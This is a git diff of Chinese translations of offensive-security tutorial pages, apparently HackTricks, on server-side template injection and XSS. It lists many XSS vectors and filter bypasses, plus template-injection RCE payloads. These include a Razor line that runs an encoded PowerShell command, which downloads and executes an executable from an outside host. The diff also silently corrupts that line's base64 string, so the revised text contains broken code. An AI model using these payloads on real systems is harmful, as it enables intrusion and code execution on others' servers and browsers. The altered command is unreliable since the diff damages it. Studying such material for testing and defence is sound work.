<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息请访问 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Python
|
||||
|
||||
查看以下页面以了解有关 **绕过沙箱的任意命令执行** 的技巧:
|
||||
查看以下页面以了解关于 **绕过沙箱的任意命令执行** 的技巧:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -778,11 +814,11 @@ home = pugjs.render(injected_page)
|
|||
|
||||
[官方网站](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持、可选的集成沙箱执行环境,广泛使用并且是 BSD 许可的。
|
||||
> Jinja2 是一个功能齐全的 Python 模板引擎。它具有完整的 Unicode 支持,一个可选的集成沙箱执行环境,广泛使用并且是 BSD 许可的。
|
||||
|
||||
* `{{7*7}} = Error`
|
||||
* `{{7*7}} = 错误`
|
||||
* `${7*7} = ${7*7}`
|
||||
* `{{foobar}} Nothing`
|
||||
* `{{foobar}} 无`
|
||||
* `{{4*4}}[[5*5]]`
|
||||
* `{{7*'7'}} = 7777777`
|
||||
* `{{config}}`
|
||||
|
@ -850,6 +886,14 @@ ${x}
|
|||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### 其他 Python
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
|
||||
|
||||
* 更多信息在 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
* `@(2+2) <= 成功`
|
||||
|
@ -861,7 +905,7 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#代码 )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHccgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 webapp 示例。
|
||||
|
||||
|
@ -898,20 +942,22 @@ ${x}
|
|||
在 Go 的模板引擎中,可以通过特定的有效载荷确认其使用:
|
||||
|
||||
* `{{ . }}`:揭示数据结构输入。例如,如果传递了一个具有 `Password` 属性的对象,`{{ .Password }}` 可能会暴露它。
|
||||
* `{{printf "%s" "ssti" }}`:预计会显示字符串 "ssti"。
|
||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [here](https://golang.org/pkg/text/template)。
|
||||
* `{{printf "%s" "ssti" }}`:预计显示字符串 "ssti"。
|
||||
* `{{html "ssti"}}`,`{{js "ssti"}}`:这些有效载荷应返回 "ssti",而不附加 "html" 或 "js"。可以在 Go 文档中进一步探索指令 [这里](https://golang.org/pkg/text/template)。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 结果为 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
使用 `text/template` 包,XSS 可以通过直接插入有效载荷来实现。相反,`html/template` 包对响应进行编码以防止这种情况(例如,`{{"<script>alert(1)</script>"}}` 的结果是 `<script>alert(1)</script>`)。然而,在 Go 中,模板定义和调用可以绕过这种编码:\{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用“call”值),而在 `html/template` 中不允许。有关这些模块的文档可在 [here for html/template](https://golang.org/pkg/html/template/) 和 [here for text/template](https://golang.org/pkg/text/template/) 中找到。
|
||||
RCE 利用在 `html/template` 和 `text/template` 之间有显著差异。`text/template` 模块允许直接调用任何公共函数(使用 “call” 值),而在 `html/template` 中不允许。有关这些模块的文档可在 [这里查看 html/template](https://golang.org/pkg/html/template/) 和 [这里查看 text/template](https://golang.org/pkg/text/template/)。
|
||||
|
||||
通过 Go 中的 SSTI 进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
||||
通过 SSTI 在 Go 中进行 RCE,可以调用对象方法。例如,如果提供的对象具有执行命令的 `System` 方法,可以像 `{{ .System "ls" }}` 一样利用它。通常需要访问源代码才能进行利用,如给定的示例所示:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -925,7 +971,7 @@ return string(out)
|
|||
|
||||
### 更多漏洞
|
||||
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 的其余部分以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 以获取更多漏洞。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 找到有趣的标签信息。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
@ -957,7 +1003,7 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科的技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (跨站脚本攻击)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||
|
||||
|
@ -8,22 +8,22 @@
|
|||
|
||||
## 方法论
|
||||
|
||||
1. 检查**你控制的任何值**(_参数_、_路径_、_头部_?、_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
||||
2. **找到上下文**,查看它是如何被反射/使用的。
|
||||
1. 检查**你控制的任何值**(_参数_,_路径_,_头部_?,_cookies_?)是否在HTML中被**反射**或被**JS**代码**使用**。
|
||||
2. **找到反射/使用的上下文**。
|
||||
3. 如果**被反射**:
|
||||
1. 检查**你可以使用哪些符号**,并根据此准备有效载荷:
|
||||
1. 在**原始HTML**中:
|
||||
1. 你能创建新的HTML标签吗?
|
||||
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
||||
3. 你能绕过保护措施吗?
|
||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_、_VueJS_、_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你无法创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无脚本HTML注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||
4. HTML内容是否被任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以利用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行JS代码的HTML标签,你能利用[**悬挂标记 - 无HTML脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||
2. 在**HTML标签**内:
|
||||
1. 你能退出到原始HTML上下文吗?
|
||||
2. 你能创建新的事件/属性来执行JS代码吗?
|
||||
3. 你被困的属性是否支持JS执行?
|
||||
4. 你能绕过保护措施吗?
|
||||
3. 在**JavaScript代码**中:
|
||||
3. 在**JavaScript代码**内:
|
||||
1. 你能逃离`<script>`标签吗?
|
||||
2. 你能逃离字符串并执行不同的JS代码吗?
|
||||
3. 你的输入是否在模板字面量\`\`中?
|
||||
|
@ -45,7 +45,7 @@
|
|||
|
||||
* **中间反射**:如果你发现一个参数的值甚至路径在网页中被反射,你可以利用**反射XSS**。
|
||||
* **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用**存储XSS**。
|
||||
* **通过JS访问**:如果你发现一个由你控制的值通过JS被访问,你可以利用**DOM XSS**。
|
||||
* **通过JS访问**:如果你发现一个由你控制的值正在通过JS访问,你可以利用**DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
|
||||
|
@ -53,7 +53,7 @@
|
|||
|
||||
### 原始HTML
|
||||
|
||||
如果你的输入在**原始HTML**页面中被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img`、`<iframe`、`<svg`、`<script`...这些只是你可以使用的许多可能的HTML标签中的一些。\
|
||||
如果你的输入在**原始HTML**页面上被**反射**,你需要利用某些**HTML标签**来执行JS代码:`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的HTML标签中的一些。\
|
||||
此外,请记住[客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在HTML标签属性内
|
||||
|
@ -61,9 +61,9 @@
|
|||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||
|
||||
1. **逃离属性和标签**(然后你将处于原始HTML中)并创建新的HTML标签进行利用:`"><img [...]`
|
||||
2. 如果你**可以逃离属性但不能逃离标签**(`>`被编码或删除),根据标签的不同,你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你**无法逃离属性**(`"`被编码或删除),那么根据**你的值被反射在哪个属性**中**如果你控制整个值或只是部分**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在“**不可利用的标签**”中被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社交工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
2. 如果你**能逃离属性但不能逃离标签**(`>`被编码或删除),根据标签你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你**无法逃离属性**(`"`被编码或删除),那么根据**哪个属性**你的值被反射,以及**你是否控制整个值或仅部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在“**不可利用的标签**”内被反射,你可以尝试**`accesskey`**技巧来利用这个漏洞(你将需要某种社会工程来利用这一点):**`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
如果你控制一个类名,Angular执行XSS的奇怪例子:
|
||||
```html
|
||||
|
@ -76,7 +76,7 @@
|
|||
在这种情况下,您的输入在 HTML 页面中的 **`<script> [...] </script>`** 标签之间、`.js` 文件中或使用 **`javascript:`** 协议的属性中被反射:
|
||||
|
||||
* 如果在 **`<script> [...] </script>`** 标签之间反射,即使您的输入在任何类型的引号内,您可以尝试注入 `</script>` 并逃离此上下文。这是有效的,因为 **浏览器会首先解析 HTML 标签** 然后解析内容,因此,它不会注意到您注入的 `</script>` 标签在 HTML 代码中。
|
||||
* 如果在 **JS 字符串** 内反射,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,它将不会被执行):
|
||||
* 如果反射 **在 JS 字符串内**,并且最后的技巧不起作用,您需要 **退出** 字符串,**执行** 您的代码并 **重构** JS 代码(如果有任何错误,将不会执行):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -100,11 +100,11 @@ Javascript Hoisting 指的是**在使用后声明函数、变量或类的机会
|
|||
|
||||
一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`。
|
||||
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable')并在控制台中查找错误,如下所示:
|
||||
找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable')并在控制台中查找错误,例如:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
如果它是脆弱的,您可以通过发送值**`?callback=alert(1)`**来**触发一个警报**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
如果它是脆弱的,您可能能够**触发一个警报**,只需发送值:**`?callback=alert(1)`**。然而,这些端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
|
||||
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符来**访问 DOM 中的任何元素**:
|
||||
|
||||
|
@ -138,7 +138,7 @@ parentElement
|
|||
|
||||
### **通用XSS**
|
||||
|
||||
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,**读取**客户端和服务器中的**任意****文件**,等等。\
|
||||
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\
|
||||
一些**示例**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -155,11 +155,11 @@ parentElement
|
|||
|
||||
## 在原始HTML中注入
|
||||
|
||||
当您的输入在**HTML页面中被反射**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
当您的输入在**HTML页面中反射**或您可以在此上下文中转义并注入HTML代码时,您需要做的**第一**件事是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
对于这些情况,还**请记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
||||
_**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\*****`--!>`**_
|
||||
|
||||
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载荷:
|
||||
在这种情况下,如果没有使用黑/白名单,您可以使用如下有效载荷:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
|
@ -170,7 +170,7 @@ _**注意:HTML注释可以使用\*\*\*\***** ****`-->`**** ****或 \*\*\*\****
|
|||
|
||||
### 标签/事件暴力破解
|
||||
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
|
||||
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
|
||||
|
||||
### 自定义标签
|
||||
|
||||
|
@ -242,23 +242,23 @@ onerror=alert`1`
|
|||
<script src=//℡㏛.pw>
|
||||
```
|
||||
The last one is using 2 unicode characters which expands to 5: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
|
||||
更多这些字符可以在 [这里](https://www.unicode.org/charts/normalization/) 找到。\
|
||||
要检查哪些字符被分解,请查看 [这里](https://www.compart.com/en/unicode/U+2121)。
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
如果为了利用这个漏洞,你需要**用户点击一个链接或一个带有预填充数据的表单**,你可以尝试[**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
|
||||
如果为了利用这个漏洞,你需要 **用户点击一个链接或一个带有预填充数据的表单**,你可以尝试 [**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面是脆弱的)。
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
如果你认为**创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**,你应该检查[**Dangling Markup**](../dangling-markup-html-scriptless-injection/),因为你可以**利用**这个漏洞**而不**执行**JS**代码。
|
||||
如果你认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**,你应该检查 [**Danglig Markup**](../dangling-markup-html-scriptless-injection/),因为你可以 **利用** 这个漏洞 **而不** 执行 **JS** 代码。
|
||||
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
如果你在**HTML 标签内部**,你可以尝试的第一件事是**逃离**这个标签,并使用[上一节](./#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
|
||||
如果你**无法逃离这个标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内,你就不需要它们_):
|
||||
如果你在 **HTML 标签内部**,你可以尝试的第一件事是 **逃离** 标签并使用 [上一节](./#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\
|
||||
如果你 **无法逃离标签**,你可以在标签内部创建新的属性来尝试执行 JS 代码,例如使用一些有效载荷(_注意在这个例子中使用双引号来逃离属性,如果你的输入直接反映在标签内,你就不需要它们_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,7 +275,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
```
|
||||
### 在属性内
|
||||
|
||||
即使你**无法从属性中逃脱**(`"`被编码或删除),根据**你的值反映在哪个属性**中**如果你控制所有值或只是部分**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够在点击时执行任意代码。\
|
||||
即使你**无法逃离属性**(`"`被编码或删除),根据**你的值反映在哪个属性**上**如果你控制所有值或只是部分值**,你仍然能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
|
||||
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
|
||||
**使用HTML编码/URL编码绕过事件**
|
||||
|
@ -309,7 +309,7 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### 特殊协议在属性内
|
||||
### 特殊协议在属性中
|
||||
|
||||
在某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
|
||||
```javascript
|
||||
|
@ -391,9 +391,9 @@ _**在这种情况下,上一节中的HTML编码和Unicode编码技巧也是有
|
|||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 关于事件处理程序绕过
|
||||
### 事件处理程序绕过
|
||||
|
||||
首先检查此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
|
||||
首先查看此页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) 以获取有用的 **"on" 事件处理程序**。\
|
||||
如果有某些黑名单阻止您创建这些事件处理程序,您可以尝试以下绕过:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
|
@ -409,7 +409,7 @@ Firefox: %09 %20 %28 %2C %3B
|
|||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS 在“不可利用标签”(隐藏输入、链接、规范、元)
|
||||
|
||||
从 [**这里**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用隐藏输入:**
|
||||
```html
|
||||
|
@ -424,11 +424,11 @@ Android: %09 %20 %28 %2C %3B
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能**说服****受害者**按下**键组合**,你就可以在隐藏属性中执行**XSS有效载荷**。在Firefox Windows/Linux上,键组合是**ALT+SHIFT+X**,在OS X上是**CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
从 [**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):只要你能 **说服** **受害者** 按下 **键组合**,你就可以在 **隐藏属性** 中执行 **XSS 载荷**。在 Firefox Windows/Linux 上,键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。你可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**XSS有效载荷将类似于:`" accesskey="x" onclick="alert(1)" x="`**
|
||||
**XSS有效负载将类似于:`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### 黑名单绕过
|
||||
|
||||
|
@ -462,7 +462,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
现在您可以修改我们的链接并将其变为
|
||||
现在您可以修改我们的链接并将其带到以下形式
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
|
@ -482,7 +482,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
|
||||
### Inside JS code
|
||||
|
||||
如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在**的位置**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:
|
||||
如果 `<>` 被清理,你仍然可以**转义字符串**,在你的输入**所在的位置**并**执行任意 JS**。修复 JS 语法是很重要的,因为如果有任何错误,JS 代码将不会被执行:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -742,7 +742,7 @@ top[8680439..toString(30)](1)
|
|||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
在那里你会找到关于 **DOM 漏洞是什么、如何引发它们以及如何利用它们的详细解释**。\
|
||||
在这里你会找到关于 **DOM 漏洞是什么、如何引发以及如何利用它们的详细解释**。\
|
||||
此外,别忘了在 **提到的帖子末尾** 你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
||||
|
||||
### 升级自我 XSS
|
||||
|
@ -755,7 +755,7 @@ top[8680439..toString(30)](1)
|
|||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳滥用。
|
||||
你可以在 [**这篇博客文章**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) 中找到对这一技术的极佳利用。
|
||||
|
||||
### 将你的会话发送给管理员
|
||||
|
||||
|
@ -779,7 +779,7 @@ top[8680439..toString(30)](1)
|
|||
```
|
||||
### Ruby-On-Rails 绕过
|
||||
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后引号限制被绕过,额外字段(onfocus)可以被添加到标签内。\
|
||||
由于 **RoR 大量赋值**,引号被插入到 HTML 中,然后引号限制被绕过,额外的字段(onfocus)可以被添加到标签内。\
|
||||
表单示例([来自此报告](https://hackerone.com/reports/709336)),如果你发送有效负载:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -824,8 +824,8 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
如果你发现可以**在302重定向响应中注入头**,你可以尝试**让浏览器执行任意JavaScript**。这**并不简单**,因为现代浏览器在HTTP响应状态码为302时不会解释HTTP响应体,因此仅仅一个跨站脚本有效载荷是无用的。
|
||||
|
||||
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这份报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何测试Location头中的几种协议,并查看其中是否有任何协议允许浏览器检查并执行体内的XSS有效载荷。\
|
||||
已知的过去协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空Location头_、`resource://`。
|
||||
